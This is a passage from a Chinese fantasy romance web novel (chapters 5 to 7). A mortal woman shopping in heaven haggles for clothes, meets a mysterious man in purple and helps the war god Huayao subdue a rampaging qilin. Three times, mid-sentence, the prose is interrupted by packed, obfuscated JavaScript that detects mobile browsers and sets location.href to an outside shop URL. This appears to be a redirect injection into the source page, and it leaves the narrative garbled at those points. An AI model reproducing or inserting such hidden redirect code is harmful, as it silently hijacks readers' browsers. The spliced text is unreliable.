她升天时正穿着一身简简单单的白上衣和洗得发旧的牛仔裤,混迹在一群气宇非凡的仙人之中,确实像个格格不入的另类。 这也是她为何舔着脸都要求华尧带她来天街买衣服的原因。 小神兽被女子抱起来,终于松了口,圆溜溜的眼睛好奇地望着慕小闲。 “你看,它好像很喜欢你呢。”黄衣女子笑道。 “真可爱。”慕小闲忍不住摸了摸它的脑袋,小神兽亲昵地蹭了蹭她的掌心。 “还不快跟上。”忽然前头传来华尧一声厉喝。 慕小闲依依不舍地冲黄衣女子和小神兽摆摆手:“有缘再见。” 未走几步,又被一扇画满首饰的屏风吸引了过去。 摊主是个面容青涩的少年,正在帮客人挑选饰品,就见他探手伸入屏风之中,屏风上的画面如水一般化开浅浅的涟漪,而后他从屏风中取出一样泛着银光的弯月指戒,冲客人展示起来。 慕小闲在屏风旁驻足观赏了一会儿,各色设计精巧的饰品都是凡间未尝见过的。 “这个你喜欢吗?”少年递来了一只白玉镯,通体光滑如凝脂,水润通透如清泉。 “这只镯子来历不凡,据说是万儿八千年前一位神官除外游历的时候发现了一块上好的玉石,后经历九九八十一天亲手雕琢而成。玉体色泽润亮,清雅细腻,绝对是世间少有。”少年自顾自地吹嘘道。 慕小闲正要接过细看,忽然指尖碰到一阵冰凉滑腻又柔软的触感,定睛一看,少年手上带的青铜护腕不知何时化为了一条缠绕在手臂上的蜿蜒青蛇,正抬起头朝她吐着性子。 慕小闲赶紧缩回手。 “哎呀,我都把阿青忘了,没事,它不咬人的。”少年赶紧收回手,面露尴尬之色。 慕小闲只是笑笑,不再靠近,又跟上华尧的步伐继续向前走。 空气飘来若有若无的香气,慕小闲嗅了嗅,不由心旷神怡,被气味勾着走近了几步。支起的小摊前,一个小贩拿着把蒲葵扇,正悠悠地扇着几只铜制烤炉。 慕小闲眼睛闪闪发光地望着烤炉里,炸的色泽金黄、滋滋作响、香气令人垂涎的食物。 “姑娘想吃什么?”摊主拿着钳子在油锅里搅了搅,香气更是一股脑窜了出来。慕小闲身后路过的神仙也被香味勾着,探出头来张望。 “这是什么?”慕小闲指着锅里。 “这是本店秘制的比翼双飞,外酥里嫩、汁水丰盈。再配上我秘制的酱汁,味道一绝,天街只此一家。” 慕小闲又吸了吸香气,回头就见华尧站在三步开外,抱着双臂冲她微微挑了下眉。那副神情仿佛在说,怎么?有求于我? 慕小闲怎么不知华尧想要故意为难她,但越是明白,就越想不让华尧称心。 “华尧上神,你不会这点要求都不能满足我吧?” 华尧眼中带着玩味,端着高高在上的威严,丝毫不为所动:“我只答应了给你买必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137668|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的衣物,没有答应满足你所有的要求。” 华尧打定主意不会随慕小闲的心思,慕小闲也无法从他们之间的关系下手,因为他们本质上可以说是没有关系,只靠长庚星君不知道从哪儿听来的万年前的恩怨维系。 区区一只炸鸡就暴露出了她的人微言轻,寄人篱下的滋味真是太不好受了。 慕小闲抬了抬眉,盯着华尧浅浅笑了一下,笑容带着几分挑衅:“若是旁人知道华尧上神因为我一脚踹......” “闭嘴!”华尧怒喝道,打断了慕小闲的话。 周围的仙群不明所以,偷偷望向华尧,探究的目光在他们二人之间逡巡。 华尧深吸一口气,压制住暴走的血脉,沉着脸问卖炸鸡的摊主:“多少钱?” 摊主被华尧的脸色吓得瑟瑟发抖,看了一眼慕小闲,手忙脚乱地拿油纸包起整只鸡的分量:“我不知道你是华尧上神的家眷,这个送给你了,不要......不要钱。” 慕小闲欢欢喜喜地接过油纸,丝毫不理会华尧又沉了几分的脸色,语重心长地解释道:“别误会,我不是他家眷。你不用给华尧上神省钱,他贵为上神怎么会在意这点小钱呢。” 华尧一甩袖丢下几枚仙币,散发着阵阵寒气转身离去,慕小闲赶紧跟了上去。她不是故意想让华尧丢脸,若是华尧上神脸面不保,她从哪里找到更好的长期饭票? 慕小闲这时候知道要学乖了,跟在华尧身后低声细语地讨好道:“华尧上神,其实你是一个好人......不,好仙。之前的事情是我不对,我不会再提了,我们就当什么也发生过。” 华尧目视前方,冷哼一声:“你想的倒好。” 慕小闲刚想主动低头,再对他美言几句,就听到仙群中嚷嚷道:“那边好像有散仙在闹事,几个仙人打起来了!” “华尧上神不是刚巧在吗?快让他去看看!” “华尧上神,那边出事了,您过去看看吧!” 华尧收起对慕小闲的捉弄之色,微微凝眉,道:“你就待在这里,不要乱走动。”一阵疾风而过,留下慕小闲在原地不知所措。 华尧一走,慕小闲落单,四周好奇的仙群纷纷围了上来,你一言我一句,满是好奇地和她说起话。 一个仙女问道:“听说你是从凡间来的?凡间现在是什么样子?” 慕小闲比划道:“凡间现在可厉害了,互联网你们知道吗?只要一部手机就可以能和全世界的人联系,足不出户就能知道全天下发生的事情。” 仙女似懂非懂:“这不就是我们的传讯术吗?我们只要一句口诀,你们还需要随身携带一块板砖?” 又有一男声问道:“你是怎么升天的?现在升天还需要被雷劈吗?” 慕小闲答道:“我也不知道自己是怎么升天的,不过肯定没有被雷劈。” 男声答道:“怎么我那时候就要经过三道天雷,现在升天的流程也太容易了吧?” 仙群中不断问道: “你怎么认识华尧上神的?他为什么让你住进他的宫殿?” “你现在是什么身份?你是不是有仙位了?” “华尧上神是不是脾气不太好?他怎么一天到晚都板着一张脸?” 围在她周围的仙群越来越多,一言一句喧闹嘈杂,她才听了上半句,又被下半句打了岔,一时应接不暇。 就在她快要被仙群挤得喘不过气时,一只白玉般的手臂忽然拉住她被推搡的身体,将她一把扯出了层层仙群。 仙群还在自顾自地嚷嚷着:“华尧上神可是武神,武神就应该长得凶神恶煞!” “可是华尧上神挺好看的,惦记他的小仙女都可以从街头排到街尾去了。若不是他总是一副拒人于千里之外的样子,指不定还有更多呢。” 小仙女们在一旁掩着嘴偷笑。 “你说是不是呀小姑娘......” “诶?她人呢?” 5. 杀价 一只苍白的手借了巧劲将慕小闲拉出围观仙群,冰凉的手指在她的掌心像流水一样划过。她跟随着那个暗紫色的身影,快步走到街角无人处,在走动中恍然看见他用簪子简单挽起的长发之下,侧颈点缀着些许刺青。 他停下脚步,转身迎上慕小闲探究的目光,稍显刻意地拢了拢大开的衣领,唇角勾起一丝若有似无的笑意。他一身勾勒着低调暗纹的深紫华服,左耳挂着一只桀骜不驯的银质耳骨链,衬得皮肤雪白,脸上没有一丝血色,唇瓣却红得娇艳欲滴,像是多年没有见过阳光的吸血鬼。 想到这里,慕小闲开始费力地抽出被他攥紧的手。他猛然一松,害得她后退了几步。 她收回手,警觉问道:“你是谁?为什么带我来这里?” 他忽然凑近,微微垂下眼睫,低头轻嗅她的头发,阴柔的声音似在她耳边呢喃:“你身上……有他的气味……” 慕小闲觉得她身上此时应该只有炸鸡味儿:“你说谁?” 紫衣男人没有回答,而是微微眯起细长的眼睛,带着笑意说道:“跟我来。”转身带她进街角一间陈设精致的成衣店。 店内宽敞,墙上挂满了各式服饰,流光溢彩的褙子、中衣、锦衣、纱衣、袍子……应有尽有,两位刚挑选完的仙女在门口与慕小闲错肩而过。 店家刚送走一批客人,一见他们进来,立马堆着笑容,热情地迎上前。 “去取几件她能穿的。”紫衣男子说。 店家微微打量了慕小闲几眼,连忙推出几件泛着如月华般点点莹光、色彩淡雅、样式大方简约的霓裳。 慕小闲眼睛一亮,从中拿出一件纱裙,往身上比了比。 “姑娘真有眼光,这件洋莲紫纱裙可是专业的织女亲手织的,上深下浅,视觉上更能突显女子婀娜的身姿。腰侧闪闪发光的碎片是北溟的贝壳,乃是点睛之笔,让这条裙子端庄又不失俏皮。铺子里就这么一件。” 店家殷切地说道:“姑娘身材高挑,面若桃花,定是穿什么都好看。但若是想要衬出您清新脱俗的气质,只有我家的衣裙才能做到。您看这面料如水般细滑,再看看大街上那些仙人穿的面料,定能感觉到不同寻常之处。” 紫衣男人听了,白皙的面容浮现如沐春风般的笑意,低头对慕小闲柔声细语道:“他说的不错,这家店的服饰都是做给天庭神官的。这件洋莲紫纱裙你若是喜欢,不如我送给你?” 慕小闲眼珠一转,略略收敛了兴奋的表情。 她当然不会觉得自己能有魅力,让一个初次见面的男人掏腰包,心中只道这紫衣男人该不会和这店家是一伙的,看她一人落单,故意将她骗进店里大宰一顿。 慕小闲委婉笑道:“兄台太客气了。虽然小女子出身贫寒,但还没到需要社会救济的地步,也委实有那么一点经济能力。只是不知道这条裙子的设计师是谁?” 店家迟疑了一秒:“设计师?自然……自然是织女了” 看来天界并没有设计师这么一说。 慕小闲了然地点了下头,有些遗憾地放下衣服,故作惋惜地蹙眉道:“这衣服的布料做工精细,但是设计缺乏新意。你看这大街小巷的仙人,穿的皆是长袍裙裳,绣的皆是琪花瑶草、瑞兽珍禽,身上披的也都是上衣罗纱。若不细看,便难以发觉其中的区别,找到你家的优越之处。” 店家弱弱地瞄了紫衣男人一眼,问:“那姑娘的意思是……应当怎么做?” 慕小闲继续诌道:“衣服既要好看也要为生活提供舒适和便利,要顺应时代的发展。今时不同往昔,若想要发展还需要适当化繁为简。最好找几个对样式有研究的仙人,每个季度乃至每个月都需在款式上做些不一样的设计,并且针对你家的款式设立品牌,制造品牌效应。” 店家听的一愣一愣的,好一会儿才反应过来:“姑娘对服饰有研究?” 慕小闲看到他被自己绕进去了,稍显得意道:“我是站在消费者的角度给你提供建议。以后每到上新,天界的仙女都会竞相采买你家的服饰。怎么样?你不该给我点……”慕小闲擒着笑,意味深长地看着他,手指在眼前比划比划。 店家挤出讨好的笑:“应该的应该的,听姑娘一席话,胜读十年书。姑娘若是把这几件都带上…...就算个八成吧。” 虚空中浮现一只金算盘,店家略微动了一下手指,算盘上的珠子便自己一颗一颗动了起来,不消片刻便演算完毕。 慕小闲稍显失望地瞅了一眼算盘,又抬眼饱含深意地望向店家,低声叹了一口气:“兄弟路走窄了。我现在在天庭也算有些热度,无数双眼睛都盯着我呢。我穿你家的服饰出门,就是最好的宣传。要是有人问起我的衣裳,我定然会为你多多推荐。这推广费用你怎么看?” 店家偷偷瞄了一眼紫衣男子,眨了眨眼睛,有些拿不准慕小闲的意思,最终狠下心说:“既然姑娘愿意替我美言几句,那是再好不过了。这几件就......都送给你了?都送给你了,就当交个朋友!” 慕小闲压下忍不住上扬的嘴角,满脸歉意地说:“我不过想让你给点儿优惠,你这样客气,我只能恭敬不如从命了。这么会做生意你不发财谁发财?” 店家的脸抽了抽,勉强维持住一个友善的笑容:“承姑娘吉言。” 慕小闲拿着大包小包跨出店门,没有注意到紫衣男子对店家说:“这几件衣裳按原来的价格抽成。”和店家感激涕零的表情。 紫衣男人跟在慕小闲身后,一双细长的眼睛悄悄打量着她,突然问道:“你在替我省钱?” 慕小闲一愣,摇了摇头:“非也非也,谁的钱不是钱,我就是顺手薅一把羊毛。不过,兄台,你到底是谁?"这男子着实诡异,慕小闲并不认为自己一上天就立马变成了香饽饽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137669|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫衣男子欲言又止,目光越过慕小闲看向她的身后,眼中多了一丝戏谑和更加复杂的情绪,微微弯了下唇角道:“既然没有送你衣裳,那我就赠你一只玉镯,作为初次见面之礼。后会有期。” 他从衣袖口掏出一只包好的玉镯,玉体光滑剔透,竟然比刚才她在摊子上看过的那一只成色还要冰清润泽,滑进手腕的瞬间,带来一丝沁人心脾的凉意。 正在这时,一阵寒意忽而爬上了慕小闲的背脊,她的心狠狠一颤,转头望去,一眼望见仙群之中那个压抑着怒气的高大身影,正面色不善地朝她看来。 完蛋,定时炸弹开始倒计时了。 再回头,紫衣男人已经不见踪影。慕小闲望了望四周熙熙攘攘的仙群,没有找到他来过的痕迹,消失的彻彻底底。 慕小闲站在原地,目光闪躲,等那个想放火烧死她的大神一点一点靠近。 华尧显然看到了她手里的东西,和她手腕上那只来历不明的玉镯。 一丝隐藏在暗处的窥视、揣摩,不经意间的试探、挑衅,在他本就烦躁的心头又添了一把火。 华尧蹙起眉扫了眼她手上的东西,沉声问:“你去哪儿了。” 慕小闲后发制人:“这句话应该我问你,我在这里人生地不熟的,你怎么能突然把我丢下就跑了?我若是走丢了,你想过后果吗?” 华尧嗤笑一声,夹杂着一丝怒气道:“既然你有办法买到衣服,为何还要求我?” 慕小闲突然不明白华尧在气什么,不是她偷偷跑了,难道是她买的太多了? 慕小闲燃起一股求生欲,打算先服个软顺着他,于是轻轻拉了拉他的袖口,用细细软软的声音说:“华尧,我提不动了。”然后挤出了一个她自认为甜美灿烂的笑容。 华尧眼角一跳:“脸抽筋了?” 慕小闲的笑容僵在唇边,攥了攥拳头,深吸一口气收敛了笑意,又压着声音重复了一遍:“华尧,我提不动了。” 华尧锐利的目光好像要把她看穿似的,看的慕小闲浑身不自在、有些招架不住时,才拿过她手里提的东西,状似不经意问道:“这些东西是谁给你的?” 慕小闲紧跟在他身后,回忆道:“我也不知道他是谁,是个穿紫色衣服的男人,长的有点像女人。” 她将带着玉镯的手腕伸到华尧眼前,一双灵动的眼睛满是炫耀之色:“你看,他还送了我一只镯子。” 华尧不耐烦地冷哼一声,撇开眼去。 慕小闲悻悻地收回手,突然被一位疾步而过的仙人狠狠撞了肩膀,她踉跄一步,恼怒爬上眉梢,却在看到那仙人慌张的神情时一愣。 “你跑什么?” 仙人看到华尧眼睛一亮,向他伸了伸手,在还未碰到他衣袖时又克制地收了回去,攥住了自己的衣摆,慌慌张张地指着不远处说:“华尧上神,你快去看看!麒麟神兽发狂了!” 6. 发狂 华尧眼色一变,逆着疾风向他指的方向飞去。 慕小闲也提步向那头走去,仙人拉住她说道:“你就别过去了,麒麟神兽不是一般仙人能够抗衡的,太危险了。” 慕小闲适才刚遇见过一只小神兽,并不觉得可怕,犹豫了一下还是追着华尧去了。 ——轰 前方云烟滚滚,惊慌失措的仙群四处奔走。 烟雾之中,一双猩红的眼睛犹如两只大红灯笼,正虎视眈眈地望着混乱的仙群,发出低哑的喘息声。 随着烟雾渐渐消散,大山般坚实的黑影逐渐显现出它的真面目。 巨大的麒麟约有两层楼高,头上长着两只锋利的龙角,身上包裹着熠熠生辉的龙鳞,四足如矫健的狼蹄踏在倒塌的楼宇残骸之上,随风飘扬的龙须与龙尾像熊熊燃烧的火焰。 浅淡的云雾围绕在它周身,染上了一层五彩霞光。 麒麟神兽狂躁地嘶吼一声,响声震天,云层也随之一震。 几名仙人飞身上前,几道虹光忽现,却被麒麟的吼声一震,顿时口喷鲜血,七零八落地倒在地上。 慕小闲停下脚步,遥遥望着这只麒麟,发觉有些眼熟,就听见一个耳熟的声音痛声喊道:“般般——” 般般?这是刚才那只咬她裤脚的小神兽? 慕小闲一惊,就见刚才那名身着鹅黄霓裳的仙女正悬在半空中,她挽发的粉色缎带断了一截,一缕的发丝随意披散在身后,望着麒麟的神情凝重又专注。 麒麟并未回应她,她快速变换手势,一丝白色的炫光从她指尖迸发,如同层层束缚的绳索围绕在麒麟的身上。 这就是仙术。 慕小闲眼中划过一道惊奇的光,还未来得及消化,就见麒麟剧烈挣扎,怒喝一声,竟然将身上的层层束缚尽数震碎。 仙女向后倒退几米,稳住身体,带着哭腔喊道:“般般!是我啊!你怎么了?” “鹿玄。”华尧落在了她身侧,难以忽视的严肃的威压立刻让仙女心头一震。 “发生了什么事?” 鹿玄啜泣道:“华尧上神,我也不知道发生了什么,我一回头般般就不见了,再看见它时就是这副模样了。般般虽然调皮,但是脾气很好,从来没发过狂,它一定是受了刺激,这可怎么办呐。” 华尧凝眉,目光带着深沉的探究落在六亲不认的神兽身上,须臾问道:“在此之前,它接触过什么人?” 鹿玄目光微微一滞,慌乱地低头在下面四散的人群中搜索着,目光锁定在一脸茫然的慕小闲身上,指着她说:“是她,她摸了般般。” 慕小闲:“……” 还好此时华尧和慕小闲是一条船上的人,不然慕小闲此刻真是跳进黄河也洗不清。 华尧余光瞥了她一眼,斩钉截铁道:“不是她。” 正在这时,麒麟神兽忽然迈开踏在废墟上的蹄子,猝然闯进仙群之中,仙群纷纷做鸟兽散。 混乱中,麒麟张开血盆大口,在混乱中叼起了一个模样像是三岁孩童的小仙童。 小仙童高高飞起,手足在空中胡乱挣扎,哇地一声哭了出来。 仙群中传来声嘶力竭的哭喊:“我的儿啊——” “麒麟吃人了——” “快!快救人呐!” 华尧和鹿玄面色越发不好看。 华尧一挥袖,一道寒光乍现,在他身前凝聚成了一个耀眼的光球,光球上缠绕着滋滋作响的电光。 鹿玄瞳孔微微张大,焦急道:“华尧上神,般般是麒麟神兽!是祥瑞!它不会无缘无故伤人的。” 焦灼的燥意爬上华尧的眉梢,眼中映衬出越发明亮的光,他并未听进鹿玄的劝说,在她的尖叫声中将光球猝然砸向狂躁的麒麟身上。 鹿玄心如刀绞,使出全力猛然一击,将那光球的路径打偏,落在了麒麟的脚边。轰然一声,麒麟四周数米内,残破的楼宇被夷为平地。 “鹿玄,你这是做什么?”华尧质问道。 鹿玄红着眼眶、浑身发颤地哀求道:“华尧上神,求您不要伤害般般,一定……一定还有别的办法!” 底下的仙群嚷嚷道:“可是它要吃人!它叼走了仙童!” “华尧上神,救孩子要紧呐!” “先将它收服了再说!” 华尧沉默了半晌,在鹿玄哀求的目光中,在众仙嘈杂的叫嚣声中,跃向麒麟神兽,跨上了它遍布龙鳞的脊背。 麒麟剧烈地挣扎起来,口中叼着的小仙童哭嚎得更加尖利,麒麟不耐烦地甩了甩头,却死死咬着小仙童不放。 华尧见状,一掌劈在麒麟神兽的后颈处,麒麟吃痛地扭动着身体,忽然松了口。 仙童从空中坠落,仙群一片惊呼。 就在这千钧一发之际,一个小小的身影从一栋楼宇的凭栏钻出,顺着外围梁柱爬上了小楼的屋檐,伸手一把搂过急速下落的小仙童,借势就地一滚,跌进了二楼的房檐内。 众仙屏息凝神,仿佛一颗心悬在悬崖之上。 片刻之后,慕小闲抱着毫发无损的小仙童从凭栏处探出头来,才爆发出热烈的欢呼和叫好。 华尧远远望向慕小闲,微不可查地点了下头。说来奇怪,刚才混乱之中,华尧朝她看来时,并未吐露一言半语,但慕小闲却霎时心领神会地悄悄靠近。 小仙童受了惊吓,一双小肉手紧紧攥着慕小闲的前襟,生怕她松开手。一双大眼睛惊惧地望着四周,忽然双腿剧烈地挣扎起来,眼中倒映的麒麟已逼近慕小闲的身后。 麒麟放弃了将华尧甩下身,转而攻击慕小闲。 慕小闲只觉一片巨大的阴影笼罩下来,抬头一看,瞳孔骤然紧缩,一时吓得浑身僵硬无法动弹。 千钧一发之际,华尧从麒麟背后一跃而下,锋利、冷峻的眉目在她眼中无限放大。他一手揽过慕小闲的腰,将她顺势一转,躲开了麒麟的攻击,一手执裹挟着电光的光球正面迎上。 “般般——”鹿玄惊叫出声,若说方才的声音是一种哀求,那么此刻便充斥着绝望和恐惧。 慕小闲心头一震,就算没亲眼见过华尧的威力,却明白了鹿玄的恐惧从何而来。 华尧是征战数次的武神,整日一副刚正不阿、不近人情的模样,性情暴戾,难以琢磨,怕是不会顾及任何情面,要将这只暴走的麒麟就地正法。 慕小闲眼前突然浮现刚才见到般般的模样,一只小小的麒麟神兽还没她的膝盖高,像只小狗一样咬住了她的裤脚。在她抚摸它的脑袋时,它眼中如碎钻般闪耀,垂下的尾巴摇的极欢。 “不要!”慕小闲忽然抓住了华尧的袖子喊道:“般般不会伤害别人,一定有其他原因!” ——噗嗤< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137670|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>几滴血珠从眼前飘过,华尧眉头紧皱,漠然看了一眼怀中的慕小闲,将咬在他手臂上的麒麟一掌推出。 麒麟倒退几步,轰然倒地,竟然没有丝毫挣扎就陷入了昏迷。一阵耀眼的金光之后,巨大的身体缩成了小小一只,被赶来的鹿玄抱在怀中。 “般般!般般你醒醒——”鹿玄看到般般微微起伏的胸膛,松了一口气,浑身虚脱般踉跄一下。 华尧缓缓落地,沉声道:“鹿玄,你看管神兽不利,让它大闹天街,险些伤了无辜孩童。此事非同小可,早些去找天帝请罪吧。” 鹿玄脸色微青,眼中划过难忍的惧意,微微俯首:“我知道了。多谢华尧上神手下留情!”鹿玄带着迟疑看了慕小闲一眼,冲她点了点头,一挥袖,踏上一朵祥云离开。 华尧未发一言,但周身的气息依旧十分压抑,并没有因麒麟神兽被制服而松懈。 他的余光落在不远处的慕小闲身上,她正将怀中的小仙童交还给了他的母亲,找到了自己刚才落下的大小包裹,并婉拒了仙群的谢意。 天街恢复了安宁,四散的仙群聚了回来,一切都很好,除了他手臂上一丝隐隐作痛的伤口。 一想到刚才慕小闲抓着他衣袖,眼中焦急和哀求的神色,他顿生烦躁之意。 慕小闲正拎着包裹和小仙童他娘寒暄,领口突然被人从后一拽,身体不自觉地跟着退后了几步,转头拧眉对拎着她的华尧怒道:“你就不能好好说话吗?” “咳咳。华尧上神,刚才多亏了你,要不是你后果真是不堪设想。“几名仙人聚了过来,想要感谢华尧,但却因为他此刻的面色实在太可怕不敢靠近。 华尧淡淡看了他们一眼,几人顿时浑身僵硬不知道自己说错了什么,直到华尧拎着慕小闲踏上祥云缓缓升起,才恍然呼喊道:“华尧上神慢走!” “一路顺风!” “常来玩儿啊!” 一路上华尧未发一言,高大肃穆的身影迎着猎猎疾风巍然不动地站在云端。 慕小闲知道华尧收拾麒麟神兽时,在最后一击收了手,他本可以将神兽就地正法但却没有,想来华尧并非自己想象的那么不可理喻。 半晌她深吸一口气道:“华尧,刚才多谢你救我。” 华尧冷哼一声:“你还罪不至死。” 虽然话不好听,但慕小闲面上还是恭敬道:“是是是,谁能想到华尧上神面冷心善,救人于水火之中,还对麒麟手下留情了呢。” 华尧背着身沉默了半晌,道:“麒麟是瑞兽,就算你不求我,我也不可能当场妄下杀手。” 说来也是,他总不可能因为她的一句话就改变想法。慕小闲不以为意地拍了拍他的肩:“那就谢谢你今天陪我出来逛街,我承认你是个好神仙了,今后我们尽量和平共处吧。” 华尧突然退了一步,咬牙沉声道:“别碰我。” 慕小闲疑惑地皱起眉,不知自己又哪里得罪了这尊大神,一瞬间让她回想起自己刚升天遇见华尧时,他厌恶的目光,如同一根细针扎进了她的心里。 “不碰就不碰,谁稀罕。”才刚升起的一点点好感被消磨殆尽,慕小闲狠狠瞪了他一眼,坐回云尾,扭头不再看他。 一段插曲落下了帷幕,只是当时所有人都没发现,麒麟一口咬在华尧手臂上时,牙尖泄出了一丝难以察觉的紫气。 7. 狐妖 凉风瑟瑟,几瓣粉嫩的桃花在风中一卷,悠悠落在光洁的石阶上。 慕小闲一手杵着扫帚,一手插着腰,站在石阶下,对扫之不尽的花瓣与落叶颓然地叹了口气。 不远处,竹椅轻轻摇了摇,躺椅上华尧慵懒地拿开遮在脸上的书,冲慕小闲微微抬眉:“你该不会连扫地都扫不干净吧?” 慕小闲扯了扯嘴角:“我刚扫完又会有新的枝叶落下,这是大自然的规律,难道我还能叫那片桃林的花叶老老实实长在枝上别乱动吗?” 华尧不以为然地睨了她一眼:“为何不能?” 他指尖一绕,忽而一阵疾风卷起落英缤纷,花瓣汇聚成了一个粉色的漩涡,然后如同落雨般洋洋洒洒地落下,将慕小闲埋在了花瓣堆中。 慕小闲看了一眼四周愈加凌乱的地面,索性扔下扫帚,胡乱踢开脚边的花叶,跑到华尧跟前:“华尧,我想修仙,你教教我吧。”自从上次在天街,慕小闲见识到了诸位仙人的力量便对修仙一事上了心。既来之则安之,既然已到天庭,修仙是水到渠成之事,更何况眼前还摆着一个精通仙术的上神。 “你没有仙骨,想要修仙比登天还难。修仙需要成百上千年的积累,而你只有数十年寿命,根本撑不到那个时候。” 慕小闲乖巧地眨眨眼睛:“华尧上神,我现在只有数十年寿命,但也许我修着修着就能延长寿命了。再说,学什么不难?我一点一点学,能学多少是多少,也好过上天一趟什么也不会。” 华尧目光沉沉地落在她身上,似乎在思索她说的有几分可行性,少倾,翻身从躺椅上下来,侧身瞥了她一眼说:“不行。我不收女眷。” 慕小闲的准则是有机会要上,没有机会,创造机会也要上,不会被华尧一句话给难倒。于是隔天她将长发束起,换了一身劲装,画上粗粗的眉毛,甚至贴了一圈络腮胡堵在华尧的房门前,让华尧上神肃穆的神情露出了一丝遏制不住的龟裂。 “慕小闲......”华尧胸膛急剧起伏几下,就像有一团火要从胸口爆发。 慕小闲下意识想要逃跑:“你不是说不收女眷吗?其实我也可以是男的......” “给我换回来!”华尧上神的怒喝声中,慕小闲脚下生风逃回房间。 这天慕小闲又坐在门前的台阶上发呆,看桃花看的出了神,不禁想起那天鹿玄仙子在半空中衣袂飘飘的样子。 她起身装模作样地比划了两下,喃喃道:“何妨妖孽在此,快快显出原形!”又跳到另一端,捏着嗓子答道:“仙女恕罪,我乃一介桃花妖,路过此处无意打扰......” 慕小闲转过身,眼神一凌,煞有其事地问道:“你可知道这里是哪里?” “桃花妖”柔柔弱弱的答道:“这是华尧上神的宫殿。” 慕小闲接着问道:“既然知道为何还敢从他门前路过?”又换做“桃花妖”的嗓音:“听闻华尧上神丰神俊朗,想一睹华尧上神的风姿......” 某立在虚掩的门后,正欲推门而出的上神,忽然停住脚步,微微倾身,神色带着几分诧异地贴上耳朵。 只听门外慕小闲哈哈大笑:“不过是道听途说!华尧上神哪里丰神俊朗了,不过尔尔......” 随着大门轰地一声推开,慕小闲瞳孔张大,笑声卡在喉中。 华尧露出了一丝诡异的笑容,笑意未达眼底,眼底却透着寒意:“你这是在唱哪出戏?” 慕小闲尴尬地扯了扯嘴角,立正站好:“我正唱到一桃花妖化作美艳少女欲上门勾引天庭上神,不料被天庭上神一眼识破她的诡计,要将她拖至屋内就地正法......” 华尧问:“哦?怎么个就地正法?” 慕小闲倒吸一口凉气:“那又是另一个风流故事了。只可意会不可言传啊!” 华尧冷哼一声,正要发作,慕小闲突然跃上台阶恳求道:“华尧上神,你就教教我吧,不然我要无聊疯了。” “无聊?” 慕小闲点点头。 脑袋上挨了一下,定睛一看,手中又又又又又又又又多了一把破扫帚。 “地都扫不干净还想修仙。”华尧讽刺道。 慕小闲望着手中紧握的扫帚,这些天的烦躁和迷茫忽然压倒了仅有的那一点点理智。她啪地一声扔下扫帚,在华尧略带惊异的目光中,疾步走进了桃林。一顿漫无目的的暴走,进入了幽幽桃林深处。 回看来时的路,视野已经被桃枝与花瓣牢牢遮掩。清风摇树,落花醉人,一丝甜甜的味道沁入心脾。 慕小闲深吸了几口气,心情渐渐平静下来,自己在华尧家里蹭吃蹭住,现在要闹着实不体面。但就这么灰溜溜的回去也很没面子,又磨磨蹭蹭了一会儿,见日头渐渐偏移,脚下的落花被踩得稀碎,心情完全平复下来才往回走。 顺着一个方向走了约莫一炷香功夫,四周依旧满是盛开的桃树,没有丝毫变化。 慕小闲继续漫游了一会儿,渐渐觉得有点儿不对劲。她不该走出了很远,应当就在华尧的宫殿附近。 她试探性地喊了声:“华尧?” 周遭没有任何回应。 她深吸一口气,大吼一声:“华尧——” 还是没有回应。 慕小闲原地转了转,彻底把自己的方向拂乱了,她跺了跺脚,真要命,早知道就不乱跑了。 就在她焦急万分时,她脚下突然传来“嘶嘶”的声音,她低头一看:脚下的土地突然冒出一股细烟。烟渐渐越来越多,越升越高。慕小闲吓得跳开几步,躲在一棵桃树后面暗中观察。 浓烟渐渐消散,露出了个弓着背,衣着简陋的白胡子老头,用一双精明的眼睛上下打量着慕小闲,捋了捋胡须,说:“小姑娘,你有何事?” 虽然升天后诸多怪事见怪不怪了,但大变活人还真是稀奇。 “老爷爷,您是哪位?” 白胡子老头慈祥地笑道:“哦呵呵,我是土地老儿,不是你叫我出来的吗?” “土地公公不应该在土地下吗?怎么会在这里?” 土地公公双眉一抬,神清气爽:“当然是因为我耀升城隍了!” 慕小闲疑惑道:“真的?” 土地公公眨眨眼睛,眼眶突然红了,嘴巴也瘪了瘪,脸上的皱纹都溢出了委屈:“哎,别提了。凡间早就不需要我们这些神明了。他们根本不信奉土地神,还挖隧道打地基修地跌,你知道每天挖掘机在耳边轰轰作响是什么滋味吗?” 土地公公叹了口气:“哎,在下面夜夜不得眠,心里那个焦哦。还是回来好,回来太平。” 慕小闲哭笑不得,打断陷入回忆之中的土地公公:“土地公公,我迷路了,您能送我回家吗?” 土地公公回过神:“好啊,我这就送你回去。” 